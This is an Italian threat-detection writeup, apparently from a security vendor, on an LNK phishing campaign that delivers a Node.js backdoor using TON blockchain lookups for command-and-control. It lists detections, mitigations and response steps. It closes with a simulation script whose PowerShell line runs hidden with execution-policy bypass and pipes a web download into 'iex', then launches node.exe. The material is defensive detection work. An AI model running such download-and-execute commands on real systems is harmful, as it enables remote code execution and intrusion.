Attacco LNK Multi-Stage Utilizza la Blockchain di TON per Consegnare un Backdoor Node.js
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Un attacco sofisticato a più livelli utilizza file LNK dannosi distribuiti tramite phishing per implementare una backdoor basata su Node.js. Il malware si basa sulla tecnica EtherHiding interrogando la blockchain TON per ottenere i suoi indirizzi di comando e controllo, rendendo più facile per gli operatori aggiornare l’infrastruttura. Utilizza anche metodi di evasione avanzati, tra cui un interprete di macchine virtuali a bytecode personalizzato e script PowerShell pesantemente offuscati.
Investigazione
Il team di ricerca sulle minacce gestite LevelBlue ha scoperto la campagna tramite avvisi di sicurezza legati ad archivi ZIP e file LNK sospetti. Gli analisti hanno de-offuscato comandi PowerShell che utilizzavano logica bitwise e aritmetica per ricostruire URL dannosi. Hanno anche esaminato un interprete VM JavaScript personalizzato utilizzato per eseguire bytecode criptato e tracciato il recupero di comando e controllo a transazioni sulla blockchain TON.
Mitigazione
Le organizzazioni dovrebbero limitare l’esecuzione di file LNK da fonti non attendibili e monitorare comportamenti PowerShell sospetti, in particolare comandi che coinvolgono logica bitwise o calcoli con grandi numeri interi. Si dovrebbe usare un forte filtraggio delle email per bloccare link malevoli e i difensori dovrebbero osservare installazioni o esecuzioni non autorizzate di Node.js. Limitare l’accesso alle API collegate alla blockchain per processi insoliti potrebbe anche interrompere il recupero del comando e controllo.
Risposta
Se si rileva questa attività, isolare gli endpoint colpiti e terminare immediatamente node.exe o processi PowerShell sospetti. Eseguire analisi della memoria per recuperare il bytecode JavaScript decrittato e identificare i domini specifici di comando e controllo interrogati. Rivedere le chiavi Run del registro di sistema per la persistenza non autorizzata e cercare esclusioni di Windows Defender create dal malware.
Flusso d’Attacco
Rilevamenti
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizza
PowerShell eseguendo file in directory sospetta usando la politica di esecuzione Bypass (via cmdline)
Visualizza
Esecuzione di binario NodeJS da posizione non comune (via cmdline)
Visualizza
Chiamare metodi .NET sospetti da PowerShell (via powershell)
Visualizza
Modifiche sospette nelle preferenze di Windows Defender (via powershell)
Visualizza
Possibile NodeJs scaricato da processo sospetto (via dns_query)
Visualizza
Esecuzione offuscata di PowerShell e Node.js tramite file LNK [Creazione processi Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: il controllo pre-flight di telemetria e baseline deve essere stato superato.
Motivazione: questa sezione dettagli l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione & Comandi di Attacco: L’avversario mira a stabilire una backdoor sul sistema. Per eludere il rilevamento, utilizza un file LNK che esegue un comando PowerShell. Invece di un URL chiaro, utilizzano
-band 255and-shr 8per manipolare grandi valori interi che, quando elaborati, ricostruiscono un URL puntando a un payload dannoso. Una volta che il payload è stato recuperato o messo in scena, il processo PowerShell generanode.exeper eseguire la backdoor basata su JavaScript, confondendosi con l’attività legittima degli sviluppatori sulla macchina. -
Script di Test di Regressione:
# Simulazione dell'esecuzione offuscata di PowerShell -> catena di esecuzione Node.js # Questo script imita gli argomenti specifici della riga di comando richiesti dalla regola di rilevamento. $jsPayload = "console.log('Connessione C2 Stabilita');" # Passo 1: Simulare la fase di offuscamento di PowerShell (come apparirebbe nella linea di comando del processo) # In un attacco reale, questo sarebbe il comando attivato dal file LNK. $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`"" # Passo 2: Simulare la successiva esecuzione di Node.js come parte della stessa catena # Usare Start-Process per simulare la relazione genitore-figlio Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`"" -
Comandi di Pulizia:
# Non sono stati creati file persistenti da questa simulazione, # ma assicuriamo che eventuali processi nodo generati siano terminati. Stop-Process -Name "node" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue